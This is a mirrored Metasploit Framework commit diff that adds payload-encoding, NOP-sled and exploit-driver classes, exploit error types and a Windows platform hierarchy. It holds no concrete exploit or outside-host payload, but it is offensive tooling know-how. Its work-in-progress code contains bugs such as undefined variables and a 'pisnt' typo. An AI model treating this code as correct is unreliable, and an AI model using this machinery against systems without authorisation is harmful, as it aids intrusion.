mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-16 01:21:15 +02:00
worked on payload encoding, exploit driver wrapper, platforms updates, spoon would probably hate it
git-svn-id: file:///home/svn/incoming/trunk@2744 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cc2c80586c
commit
f1691c5470
@ -1,9 +1,10 @@
|
||||
- exploit kick-off
|
||||
- payload generation
|
||||
- generate payload for target
|
||||
- encoder payload for target
|
||||
- loop encoders on failure
|
||||
- pad nops
|
||||
- switch to x86 from ia32
|
||||
- exploit kick-off
|
||||
X - payload generation
|
||||
X - generate payload for target
|
||||
X - encoder payload for target
|
||||
X - loop encoders on failure
|
||||
X - pad nops
|
||||
- handler init
|
||||
- setup handler
|
||||
- start handler
|
||||
|
@ -63,7 +63,8 @@ class Payload
|
||||
((ds = payload.datastore.to_s) and ds.length > 0) ? ds += "\n" : ds = ''
|
||||
|
||||
buf = Buffer.comment(
|
||||
"#{payload.refname} - #{len} bytes - http://www.metasploit.com\n" +
|
||||
"#{payload.refname} - #{len} bytes\n" +
|
||||
"http://www.metasploit.com\n" +
|
||||
"#{ds}" +
|
||||
((opts['Encoder']) ? "Encoder=" + opts['Encoder'].refname + "\n" : ''), fmt) + buf
|
||||
end
|
||||
|
@ -20,10 +20,9 @@ require 'msf/core/data_store'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
# Framework context and core classes
|
||||
require 'msf/core/module_manager'
|
||||
require 'msf/core/framework'
|
||||
require 'msf/core/session_manager'
|
||||
require 'msf/core/session'
|
||||
require 'msf/core/framework'
|
||||
|
||||
# Pseudo-modules
|
||||
require 'msf/core/handler'
|
||||
|
@ -12,8 +12,8 @@ require 'msf/core/module/reference.rb.ut'
|
||||
require 'msf/core/module/target.rb.ut'
|
||||
|
||||
require 'msf/core/exploit.rb.ut'
|
||||
require 'msf/core/exploit/remote/tcp.rb.ut'
|
||||
require 'msf/core/exploit/remote/dcerpc.rb.ut'
|
||||
require 'msf/core/exploit/tcp.rb.ut'
|
||||
require 'msf/core/exploit/dcerpc.rb.ut'
|
||||
|
||||
class Msf::TestSuite
|
||||
def self.suite
|
||||
|
@ -15,6 +15,13 @@ ARCH_IA32 = 'ia32'
|
||||
ARCH_MIPS = 'mips'
|
||||
ARCH_PPC = 'ppc'
|
||||
ARCH_SPARC = 'sparc'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_IA32,
|
||||
ARCH_MIPS,
|
||||
ARCH_PPC,
|
||||
ARCH_SPARC
|
||||
]
|
||||
|
||||
#
|
||||
# Module types
|
||||
@ -34,4 +41,14 @@ MODULE_TYPES =
|
||||
MODULE_RECON
|
||||
]
|
||||
|
||||
#
|
||||
# Module rankings
|
||||
#
|
||||
LowRanking = 100
|
||||
AverageRanking = 200
|
||||
NormalRanking = 300
|
||||
GoodRanking = 400
|
||||
GreatRanking = 500
|
||||
ExcellentRanking = 600
|
||||
|
||||
end
|
||||
|
205
lib/msf/core/encoded_payload.rb
Normal file
205
lib/msf/core/encoded_payload.rb
Normal file
@ -0,0 +1,205 @@
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# EncodedPayload
|
||||
# --------------
|
||||
#
|
||||
# This class wrappers an encoded payload buffer and the means used to create
|
||||
# one.
|
||||
#
|
||||
###
|
||||
class EncodedPayload
|
||||
|
||||
include Framework::Offspring
|
||||
|
||||
#
|
||||
# Creates an encoded payload instance
|
||||
#
|
||||
def self.create(framework, pinst, reqs)
|
||||
# Create the encoded payload instance
|
||||
p = EncodedPayload.new(framework, pinst, reqs)
|
||||
|
||||
p.generate
|
||||
|
||||
return p
|
||||
end
|
||||
|
||||
def initialize(framework, pinst, reqs)
|
||||
self.framework = framework
|
||||
self.pinst = pinst
|
||||
self.reqs = reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the full encoded payload
|
||||
#
|
||||
def generate
|
||||
raw = nil
|
||||
encoded = nil
|
||||
nop_sled_size = 0
|
||||
nop_sled = nil
|
||||
|
||||
# Generate the raw version of the payload first
|
||||
generate_raw()
|
||||
|
||||
# Encode the payload
|
||||
encode()
|
||||
|
||||
# Build the NOP sled
|
||||
generate_sled()
|
||||
|
||||
# Finally, set the complete payload definition
|
||||
encoded = (nop_sled || '') + encoded
|
||||
|
||||
# Return the complete payload
|
||||
return encoded
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the raw payload from the payload instance. This populates the
|
||||
# raw attribute.
|
||||
#
|
||||
def generate_raw
|
||||
raw = (reqs['Prepend'] || '') + pisnt.generate + (reqs['Append'] || '')
|
||||
end
|
||||
|
||||
#
|
||||
# Scans for a compatible encoder using ranked precedence and populates the
|
||||
# encoded attribute.
|
||||
#
|
||||
def encode
|
||||
# If the exploit has bad characters, we need to run the list of encoders
|
||||
# in ranked precedence and try to encode without them.
|
||||
if (reqs['BadChars'])
|
||||
pinst.compatible_encoders.each { |enc|
|
||||
encoder = enc.new
|
||||
|
||||
# Try encoding with the current encoder
|
||||
begin
|
||||
p.encoded = encoder.encode(raw, reqs['BadChars'])
|
||||
rescue
|
||||
wlog("#{pinst.refname}: Failed to encode payload with encoder #{encoder.refname}: #{$!}",
|
||||
'core', LEV_1)
|
||||
end
|
||||
|
||||
# Minimum number of NOPs to use
|
||||
min = reqs['MinNops'] || 0
|
||||
|
||||
# Check to see if we have enough room for the minimum requirements
|
||||
if ((reqs['Space']) and
|
||||
(reqs['Space'] < encoded.length + min))
|
||||
wlog("#{pinst.refname}: Encoded payload version is too large with encoder #{encoder.refname}",
|
||||
'core', LEV_1)
|
||||
next
|
||||
end
|
||||
}
|
||||
|
||||
# If the encoded payload is nil, raise an exception saying that we
|
||||
# suck at life.
|
||||
if (encoded == nil)
|
||||
raise NoEncodersSucceededError,
|
||||
"#{pinst.refname}: All encoders failed to encode.",
|
||||
caller
|
||||
end
|
||||
# If there are no bad characters, then the raw is the same as the
|
||||
# encoded
|
||||
else
|
||||
encoded = raw
|
||||
end
|
||||
|
||||
# Prefix the prepend encoder value
|
||||
encoded = (reqs['PrependEncoder'] || '') + encoded
|
||||
end
|
||||
|
||||
#
|
||||
# Construct a NOP sled if necessary
|
||||
#
|
||||
def generate_sled
|
||||
min = reqs['MinNops'] || 0
|
||||
space = reqs['Space']
|
||||
|
||||
nop_sled_size = 0
|
||||
|
||||
# Calculate the number of NOPs to pad out the buffer with based on the
|
||||
# requirements. If there was a space requirement, check to see if
|
||||
# there's any room at all left for a sled.
|
||||
if ((space) and
|
||||
(space > encoded.length))
|
||||
nop_sled_size = reqs['Space'] - encoded.length
|
||||
end
|
||||
|
||||
# If the maximum number of NOPs has been exceeded, wrap it back down.
|
||||
if ((reqs['MaxNops']) and
|
||||
(reqs['MaxNops'] > sled_size))
|
||||
nop_sled_size = reqs['MaxNops']
|
||||
end
|
||||
|
||||
# Now construct the actual sled
|
||||
if (nop_sled_size > 0)
|
||||
pinst.compatible_nops.each { |nopmod|
|
||||
# Create an instance of the nop module
|
||||
nop = nopmod.new
|
||||
|
||||
begin
|
||||
nop_sled = nop.generate_sled(nop_sled_size,
|
||||
'BadChars' => reqs['BadChars'],
|
||||
'SaveRegisters' => reqs['SaveRegisters'])
|
||||
rescue
|
||||
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
|
||||
'core', LEV_1)
|
||||
end
|
||||
}
|
||||
|
||||
if (nop_sled == nil)
|
||||
raise NoNopsSucceededError,
|
||||
"#{pinst.refname}: All NOP generators failed to construct sled for.",
|
||||
caller
|
||||
end
|
||||
else
|
||||
nop_sled = ''
|
||||
end
|
||||
|
||||
return nop_sled
|
||||
end
|
||||
|
||||
#
|
||||
# The raw version of the payload
|
||||
#
|
||||
attr_reader :raw
|
||||
#
|
||||
# The encoded version of the raw payload plus the NOP sled
|
||||
# if one was generated.
|
||||
#
|
||||
attr_reader :encoded
|
||||
#
|
||||
# The size of the NOP sled
|
||||
#
|
||||
attr_reader :nop_sled_size
|
||||
#
|
||||
# The NOP sled itself
|
||||
#
|
||||
attr_reader :nop_sled
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :raw
|
||||
attr_writer :encoded
|
||||
attr_writer :nop_sled_size
|
||||
attr_writer :nop_sled
|
||||
attr_writer :payload
|
||||
|
||||
#
|
||||
# The payload instance used to generate the payload
|
||||
#
|
||||
attr_accessor :pinst
|
||||
#
|
||||
# The requirements used for generation
|
||||
#
|
||||
attr_accessor :reqs
|
||||
|
||||
end
|
||||
|
||||
end
|
@ -44,15 +44,19 @@ class OptionValidateError < ArgumentError
|
||||
attr_reader :options
|
||||
end
|
||||
|
||||
#####
|
||||
#####
|
||||
class ValidationError < ArgumentError
|
||||
include Exception
|
||||
|
||||
def to_s
|
||||
"One or more requirements could not be validated."
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Encoding exceptions
|
||||
#
|
||||
##
|
||||
#####
|
||||
#####
|
||||
|
||||
class EncodingError < RuntimeError
|
||||
include Exception
|
||||
@ -99,15 +103,18 @@ class BadcharError < EncodingError
|
||||
attr_reader :buf, :index, :stub_size, :char
|
||||
end
|
||||
|
||||
#####
|
||||
#####
|
||||
class NoEncodersSucceededError < EncodingError
|
||||
|
||||
def to_s
|
||||
"No encoders encoded the buffer successfully."
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Exploit exceptions
|
||||
#
|
||||
##
|
||||
#####
|
||||
#####
|
||||
|
||||
module ExploitError
|
||||
include Exception
|
||||
@ -117,4 +124,57 @@ module ExploitError
|
||||
end
|
||||
end
|
||||
|
||||
class MissingTargetError < ArgumentError
|
||||
include ExploitError
|
||||
|
||||
def to_s
|
||||
"A target has not been selected."
|
||||
end
|
||||
end
|
||||
|
||||
class MissingPayloadError < ArgumentError
|
||||
include ExploitError
|
||||
|
||||
def to_s
|
||||
"A payload has not been selected."
|
||||
end
|
||||
end
|
||||
|
||||
class IncompatiblePayloadError < ArgumentError
|
||||
include ExploitError
|
||||
|
||||
def initialize(pname = nil)
|
||||
@pname = pname
|
||||
end
|
||||
|
||||
def to_s
|
||||
"#{pname} is not a compatible payload."
|
||||
end
|
||||
|
||||
attr_reader :pname
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# NOP exceptions
|
||||
#
|
||||
##
|
||||
|
||||
module NopError
|
||||
include Exception
|
||||
|
||||
def to_s
|
||||
"A NOP generator error occurred."
|
||||
end
|
||||
end
|
||||
|
||||
class NoNopsSucceededError < RuntimeError
|
||||
include NopError
|
||||
|
||||
def to_s
|
||||
"No NOP generators succeeded."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
@ -148,6 +148,42 @@ class Exploit < Msf::Module
|
||||
def exploit
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the encoded version of the supplied payload using the payload
|
||||
# requirements specific to this exploit. The encoded instance is returned
|
||||
# to the caller. This method is exposed in the manner that it is such
|
||||
# that passive exploits and re-generate an encoded payload on the fly
|
||||
# rather than having to use the pre-generated one.
|
||||
#
|
||||
# The return value is an EncodedPayload instance.
|
||||
#
|
||||
def generate_payload(pinst = nil)
|
||||
if (target == nil)
|
||||
raise MissingTargetError, "No target has been specified.",
|
||||
caller
|
||||
end
|
||||
|
||||
# If a payload instance was supplied, use it, otherwise
|
||||
# use the active payload instance
|
||||
real_payload = (pinst) ? pinst : self.active_payload
|
||||
|
||||
if (real_payload == nil)
|
||||
raise MissingPayloadError, "No payload has been selected.",
|
||||
caller
|
||||
end
|
||||
|
||||
# Duplicate the exploit payload requirements
|
||||
reqs = self.payload
|
||||
|
||||
# Pass save register requirements to the NOP generator
|
||||
reqs['SaveRegisters'] = nop_save_registers
|
||||
|
||||
# Set the encoded payload to the result of the encoding process
|
||||
encoded_payload = EncodedPayload.create(framework, real_payload, reqs)
|
||||
|
||||
return encoded_payload
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Feature detection
|
||||
@ -308,9 +344,17 @@ class Exploit < Msf::Module
|
||||
#
|
||||
attr_reader :default_target
|
||||
#
|
||||
# The active payload instance.
|
||||
# The payload requirement hash.
|
||||
#
|
||||
attr_reader :payload
|
||||
#
|
||||
# The active payload instance.
|
||||
#
|
||||
attr_accessor :active_payload
|
||||
#
|
||||
# The encoded payload instance.
|
||||
#
|
||||
attr_accessor :encoded_payload
|
||||
|
||||
protected
|
||||
|
||||
|
@ -16,12 +16,10 @@ class Exploit::Remote::DCERPC::UnitTest < Test::Unit::TestCase
|
||||
def test_tcp
|
||||
e = Stub.new
|
||||
|
||||
assert_equal(4, e.options.length, "invalid options length")
|
||||
assert_equal(2, e.options.length, "invalid options length")
|
||||
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
||||
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
||||
assert_equal(135, e.options.get('RPORT').default, "invalid RPORT default")
|
||||
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
|
||||
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -16,11 +16,9 @@ class Exploit::Remote::Tcp::UnitTest < Test::Unit::TestCase
|
||||
def test_tcp
|
||||
e = Stub.new
|
||||
|
||||
assert_equal(4, e.options.length, "invalid options length")
|
||||
assert_equal(2, e.options.length, "invalid options length")
|
||||
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
||||
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
||||
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
|
||||
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
|
||||
end
|
||||
|
||||
end
|
||||
|
185
lib/msf/core/exploit_driver.rb
Normal file
185
lib/msf/core/exploit_driver.rb
Normal file
@ -0,0 +1,185 @@
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# ExploitDriver
|
||||
# -------------
|
||||
#
|
||||
# This class drives the exploitation process from start to finish for a given
|
||||
# exploit module instance. It's responsible for payload generation, encoding,
|
||||
# and padding as well as initialization handlers and finally launching the
|
||||
# exploit.
|
||||
#
|
||||
###
|
||||
class ExploitDriver
|
||||
|
||||
def initialize(framework)
|
||||
self.payloads = {}
|
||||
self.payload = nil
|
||||
self.exploit = nil
|
||||
self.target = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Stores the supplied exploit as the active exploit and filters compatible
|
||||
# payloads and architectures based on the exploit's target platform
|
||||
# information.
|
||||
#
|
||||
def exploit=(exploit)
|
||||
@exploit = exploit
|
||||
|
||||
filter_payloads
|
||||
end
|
||||
|
||||
#
|
||||
# Specification of the exploit target index
|
||||
#
|
||||
def target_idx=(target_idx)
|
||||
# Make sure the target index is valid
|
||||
if (target_idx >= exploit.targets.length)
|
||||
raise Rex::ArgumentError, "Invalid target index.", caller
|
||||
end
|
||||
|
||||
# Set the active target
|
||||
target = exploit.targets[target_idx]
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the active target instance for the specified exploit module. This
|
||||
# causes the driver to filter payloads again.
|
||||
#
|
||||
def target=(target)
|
||||
@target = target
|
||||
|
||||
filter_payloads
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the active payload and performs one last sanity check
|
||||
#
|
||||
def payload=(payload)
|
||||
# Don't allow payload selection to occur until a target has been
|
||||
# specified.
|
||||
if (target == nil)
|
||||
raise MissingTargetError,
|
||||
"A payload cannot be selected until a target is specified.",
|
||||
caller
|
||||
end
|
||||
|
||||
# Make sure the payload is compatible after all
|
||||
if (compatible_payload?(payload) == false)
|
||||
raise IncompatiblePayloadError.new(payload.refname),
|
||||
"Incompatible payload", caller
|
||||
end
|
||||
|
||||
@payload = payload
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if the supplied payload is compatible with the
|
||||
# current exploit.
|
||||
#
|
||||
def compatible_payload?(payload)
|
||||
return ((payload.platform & exploit.platform).empty? == false)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Exploit execution
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Makes sure everything's in tip-top condition prior to launching the
|
||||
# exploit. For things that aren't good to go, an exception is thrown.
|
||||
#
|
||||
def validate
|
||||
# First, validate that a target has been selected
|
||||
if (target == nil)
|
||||
raise MissingTargetError,
|
||||
"A payload cannot be selected until a target is specified.",
|
||||
caller
|
||||
end
|
||||
|
||||
# Next, validate that a payload has been selected
|
||||
if (payload == nil)
|
||||
raise MissingPayloadError,
|
||||
"A payload has not been selected.", caller
|
||||
end
|
||||
|
||||
# Finally, validate options on the exploit module to ensure that things
|
||||
# are ready to operate as they should.
|
||||
exploit.options.validate()
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Kicks off an exploitation attempt and performs the following four major
|
||||
# operations:
|
||||
#
|
||||
# - Generates the payload
|
||||
# - Initializes & monitors the handler
|
||||
# - Launches the exploit
|
||||
# - Cleans up the handler
|
||||
#
|
||||
def run
|
||||
# First thing's first -- validate the state. Make sure all requirement
|
||||
# parameters are set, including those that are derived from the
|
||||
# datastore.
|
||||
validate()
|
||||
|
||||
# After validation has occurred, it's time to set some values on the
|
||||
# exploit instance and begin preparing the payload
|
||||
exploit.target = target
|
||||
|
||||
# Generate the encoded version of the supplied payload on the exploit
|
||||
# module instance
|
||||
exploit.generate_payload(payload)
|
||||
end
|
||||
|
||||
attr_reader :exploit
|
||||
attr_reader :target
|
||||
attr_reader :payloads
|
||||
attr_reader :payload
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Filters out compatible payloads based on the current
|
||||
#
|
||||
def filter_payloads
|
||||
payloads = {}
|
||||
|
||||
# Enumerate each target for this exploit
|
||||
exploit.targets.each { |curr_target|
|
||||
# If there's an active target, then skip all other targets
|
||||
next if (target && target != curr_target)
|
||||
|
||||
# Enumerate each payload module, intersecting the supported platforms
|
||||
# to see if there is any match at all. If so, the payload name is
|
||||
# added to the list of acceptable payloads.
|
||||
framework.payloads.each_module(
|
||||
'Platform' => target.platforms) { |name, pmod|
|
||||
|
||||
# If the payload's size is larger than the amount of available space,
|
||||
# then we can't allow it
|
||||
if (exploit.payload_space > 0 and
|
||||
exploit.payload_space < framework.payloads.sizes[name])
|
||||
dlog("Payload #{name} is too big for exploit #{exploit.refname} (#{exploit.payload_space} < #{framework.payloads.sizes[name]})",
|
||||
'core', LEV_2)
|
||||
next
|
||||
end
|
||||
|
||||
payloads[name] = pmod
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
attr_writer :payloads
|
||||
|
||||
end
|
||||
|
||||
end
|
@ -12,10 +12,22 @@ module Msf
|
||||
#
|
||||
###
|
||||
class Framework
|
||||
|
||||
#
|
||||
# Mixin meant to be included into all classes that can have instances that
|
||||
# should be tied to the framework, such as modules.
|
||||
#
|
||||
module Offspring
|
||||
attr_accessor :framework
|
||||
end
|
||||
|
||||
require 'msf/core/module_manager'
|
||||
|
||||
def initialize()
|
||||
self.events = EventDispatcher.new
|
||||
self.modules = ModuleManager.new
|
||||
self.events = EventDispatcher.new
|
||||
self.modules = ModuleManager.new
|
||||
|
||||
self.modules.framework = self
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -18,9 +18,9 @@ class Module
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
UpdateableOptions = [ "Name", "Description", "Alias" ]
|
||||
|
||||
class <<self
|
||||
include Framework::Offspring
|
||||
|
||||
#
|
||||
# The module's name that is assigned it it by the framework
|
||||
# or derived from the path that the module is loaded from.
|
||||
@ -28,6 +28,13 @@ class Module
|
||||
attr_accessor :refname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the class reference to the framework
|
||||
#
|
||||
def framework
|
||||
return self.class.framework
|
||||
end
|
||||
|
||||
require 'msf/core/module/author'
|
||||
require 'msf/core/module/platform_list'
|
||||
require 'msf/core/module/reference'
|
||||
@ -173,14 +180,16 @@ class Module
|
||||
|
||||
protected
|
||||
|
||||
UpdateableOptions = [ "Name", "Description", "Alias" ]
|
||||
|
||||
# Sets the modules unsupplied info fields to their default values
|
||||
def set_defaults
|
||||
self.module_info = {
|
||||
'Name' => 'No module name',
|
||||
'Description' => 'No module description',
|
||||
'Version' => '0',
|
||||
'Author' => '',
|
||||
'Arch' => '',
|
||||
'Author' => nil,
|
||||
'Arch' => nil,
|
||||
'Platform' => '',
|
||||
'Ref' => nil,
|
||||
'Privileged' => false,
|
||||
|
@ -1,4 +1,4 @@
|
||||
#!/usr/bin/ruby
|
||||
require 'abbrev'
|
||||
|
||||
#
|
||||
# This is the definitions of which Platforms the framework knows about. The
|
||||
@ -12,6 +12,39 @@ class Msf::Module::Platform
|
||||
# actually, having a argument of '' is what to do for wanting 'all'
|
||||
Short = "all"
|
||||
|
||||
class <<self
|
||||
attr_accessor :full_name
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the "real" name of the module instance, accouting for potentially
|
||||
# aliased class names.
|
||||
#
|
||||
def self.realname
|
||||
# Use the cached version if one has been set
|
||||
return full_name if (full_name)
|
||||
|
||||
# Otherwise, generate it and cache it
|
||||
names = []
|
||||
c = Msf::Module::Platform
|
||||
name.split('::')[3 .. -1].each { |part|
|
||||
c = c.const_get(part)
|
||||
if (c.const_defined?('RealName') == true)
|
||||
names << c.const_get('RealName')
|
||||
else
|
||||
names << part
|
||||
end
|
||||
}
|
||||
full_name = names.join(' ')
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method
|
||||
#
|
||||
def find_children
|
||||
self.class.find_children
|
||||
end
|
||||
|
||||
#
|
||||
# The magic to try to build out a Platform from a string
|
||||
#
|
||||
@ -19,88 +52,264 @@ class Msf::Module::Platform
|
||||
# remove any whitespace and downcase
|
||||
str = str.gsub(' ', '').downcase
|
||||
|
||||
# Start at the base platform module
|
||||
mod = Msf::Module::Platform
|
||||
|
||||
# Scan forward, trying to find the end module
|
||||
while str.length > 0
|
||||
mod, str = _find_short(mod, str)
|
||||
mod, str = find_portion(mod, str)
|
||||
end
|
||||
|
||||
return mod
|
||||
end
|
||||
|
||||
def find_children
|
||||
self.class.find_children
|
||||
end
|
||||
|
||||
# this is useful a lot of places, and should go into some
|
||||
# library somewhere, or something
|
||||
#
|
||||
# Finds all inherited children from a given module
|
||||
#
|
||||
def self.find_children
|
||||
mod = self
|
||||
mod.constants.map { |n| mod.const_get(n) }.
|
||||
delete_if { |v| ! v.kind_of?(Class) || ! (v < mod) }
|
||||
constants.map { |c|
|
||||
const_get(c)
|
||||
}.delete_if { |m|
|
||||
!m.kind_of?(Class) || ! (m < self)
|
||||
}.sort { |a, b|
|
||||
a::Rank <=> b::Rank
|
||||
}
|
||||
end
|
||||
|
||||
# make private! I forget how! I suck!
|
||||
def self._find_short(base, name)
|
||||
# get a list of possible base classes, and sort them by
|
||||
# their relative ranks to each other
|
||||
poss = base.find_children.sort { |a, b| a::Rank <=> b::Rank }
|
||||
#
|
||||
# Builds the abbreviation set for every module starting from
|
||||
# a given point
|
||||
#
|
||||
def self.build_child_platform_abbrev(mod)
|
||||
# Flush out any non-class and non-inherited children
|
||||
children = mod.find_children
|
||||
|
||||
# No children to speak of?
|
||||
return if (children.length == 0)
|
||||
|
||||
if poss.empty?
|
||||
raise ArgumentError, "No classes in #{base.to_s}!", caller
|
||||
end
|
||||
# Build the list of names & rankings
|
||||
names = {}
|
||||
ranked = {}
|
||||
|
||||
best = nil
|
||||
bestlen = 0
|
||||
children.map { |c|
|
||||
name = c.name.split('::')[-1].downcase
|
||||
|
||||
poss.each { |c|
|
||||
# Try to get the short "nick" name, aka win vs Windows.
|
||||
# If there is no shortname, generate one and cache it.
|
||||
# Generation is atmost the first 3 chars downcased..
|
||||
# If the platform has an alias, such as a portion that may
|
||||
# start with an integer, use that as the name
|
||||
if (c.const_defined?('Alias'))
|
||||
als = c.const_get('Alias').downcase
|
||||
|
||||
begin
|
||||
short = c.const_get("Short")
|
||||
# it was inherited...
|
||||
if short == c.superclass.const_get("Short")
|
||||
raise NameError
|
||||
end
|
||||
rescue NameError
|
||||
short = c.const_set("Short", c.name.split('::')[-1][0, 3].downcase)
|
||||
names[als] = c
|
||||
ranked[als] = c::Rank
|
||||
# If the platform has more than one alias, process the list
|
||||
elsif (c.const_defined?('Aliases'))
|
||||
c.const_get('Aliases').each { |a|
|
||||
a = a.downcase
|
||||
|
||||
names[a] = c
|
||||
ranked[a] = c::Rank
|
||||
}
|
||||
end
|
||||
|
||||
if short.length > bestlen && name[0, short.length] == short
|
||||
best = [ c, name[short.length .. -1] ]
|
||||
bestlen = short.length
|
||||
names[name] = c
|
||||
ranked[name] = c::Rank
|
||||
}
|
||||
|
||||
# Calculate their abbreviations
|
||||
abbrev = ::Abbrev::abbrev(names.keys)
|
||||
|
||||
# Set the ranked list and abbreviated list on this module,
|
||||
# then walk the children
|
||||
mod.const_set('Abbrev', abbrev)
|
||||
mod.const_set('Ranks', ranked)
|
||||
mod.const_set('Names', names)
|
||||
end
|
||||
|
||||
#
|
||||
# Finds the module that best matches the supplied string (or a portion of
|
||||
# the string)
|
||||
#
|
||||
def self.find_portion(mod, str)
|
||||
# Check to see if we've built the abbreviated cache
|
||||
if (mod.const_defined?('Abbrev') == false)
|
||||
build_child_platform_abbrev(mod)
|
||||
end
|
||||
|
||||
abbrev = mod.const_get('Abbrev')
|
||||
names = mod.const_get('Names')
|
||||
ranks = mod.const_get('Ranks')
|
||||
best = nil
|
||||
bestlen = 0
|
||||
bestmat = nil
|
||||
bestrank = 0
|
||||
|
||||
# Walk through each abbreviation
|
||||
abbrev.each { |a|
|
||||
# If the abbreviation is too long, no sense in scanning it
|
||||
next if (a[0].length > str.length)
|
||||
|
||||
# If the current abbreviation matches with the
|
||||
# supplied string and is better than the previous
|
||||
# best match length, use it, but only if it also
|
||||
# has a higher rank than the previous match.
|
||||
if ((a[0] == str[0, a[0].length]) and
|
||||
(a[0].length > bestlen) and
|
||||
(bestrank == nil or bestrank <= ranks[a[1]]))
|
||||
best = [ names[a[1]], str[a[0].length .. -1] ]
|
||||
bestlen = a[0].length
|
||||
bestmat = a[0]
|
||||
bestrank = ranks[a[1]]
|
||||
end
|
||||
}
|
||||
|
||||
if !best
|
||||
# ok, no match, fall back on first ranked
|
||||
best = [ poss[0], name ]
|
||||
# If we couldn't find a best match at this stage, it's time to warn.
|
||||
if (best == nil)
|
||||
raise ArgumentError, "No classes in #{mod.to_s} for #{str}!", caller
|
||||
end
|
||||
|
||||
|
||||
return best
|
||||
|
||||
end
|
||||
|
||||
private_class_method :build_child_platform_abbrev
|
||||
private_class_method :find_portion
|
||||
|
||||
class Windows < Msf::Module::Platform
|
||||
Rank = 100
|
||||
class X86 < Windows
|
||||
Rank = 100
|
||||
class XP < X86
|
||||
Rank = 300
|
||||
class SP0 < XP
|
||||
Rank = 100
|
||||
end
|
||||
class SP1 < XP
|
||||
Rank = 200
|
||||
end
|
||||
class SP2 < XP
|
||||
Rank = 300
|
||||
end
|
||||
# Windows 95
|
||||
class W95 < Windows
|
||||
Rank = 100
|
||||
Alias = "95"
|
||||
RealName = "95"
|
||||
end
|
||||
|
||||
# Windows 98
|
||||
class W98 < Windows
|
||||
Rank = 100
|
||||
Alias = "98"
|
||||
RealName = "98"
|
||||
class FE < W98
|
||||
Rank = 100
|
||||
end
|
||||
class SE < W98
|
||||
Rank = 200
|
||||
end
|
||||
end
|
||||
|
||||
# Windows ME
|
||||
class ME < Windows
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
# Windows NT
|
||||
class NT < Windows
|
||||
Rank = 100
|
||||
class SP0 < NT
|
||||
Rank = 100
|
||||
end
|
||||
class SP1 < NT
|
||||
Rank = 200
|
||||
end
|
||||
class SP2 < NT
|
||||
Rank = 300
|
||||
end
|
||||
class SP3 < NT
|
||||
Rank = 400
|
||||
end
|
||||
class SP4 < NT
|
||||
Rank = 500
|
||||
end
|
||||
class SP5 < NT
|
||||
Rank = 600
|
||||
end
|
||||
class SP6 < NT
|
||||
Rank = 700
|
||||
end
|
||||
class SP6a < NT
|
||||
Rank = 800
|
||||
end
|
||||
end
|
||||
|
||||
# Windows 2000
|
||||
class W2000 < Windows
|
||||
Rank = 200
|
||||
Aliases = [ "2000", "2K" ]
|
||||
RealName = "2000"
|
||||
class SP0 < W2000
|
||||
Rank = 100
|
||||
end
|
||||
class SP1 < W2000
|
||||
Rank = 200
|
||||
end
|
||||
class SP2 < W2000
|
||||
Rank = 300
|
||||
end
|
||||
class SP3 < W2000
|
||||
Rank = 400
|
||||
end
|
||||
class SP4 < W2000
|
||||
Rank = 500
|
||||
end
|
||||
end
|
||||
|
||||
# Windows XP
|
||||
class XP < Windows
|
||||
Rank = 300
|
||||
class SP0 < XP
|
||||
Rank = 100
|
||||
end
|
||||
class SP1 < XP
|
||||
Rank = 200
|
||||
end
|
||||
class SP2 < XP
|
||||
Rank = 300
|
||||
end
|
||||
end
|
||||
|
||||
# Windows 2003 Server
|
||||
class W2003 < Windows
|
||||
Rank = 400
|
||||
Aliases = [ "2003", "2003 Server", "2K3" ]
|
||||
RealName = "2003"
|
||||
class SP0 < W2003
|
||||
Rank = 100
|
||||
end
|
||||
class SP1 < W2003
|
||||
Rank = 200
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Linux < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "lnx"
|
||||
end
|
||||
|
||||
class Solaris < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
class OSX < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
# Generic BSD
|
||||
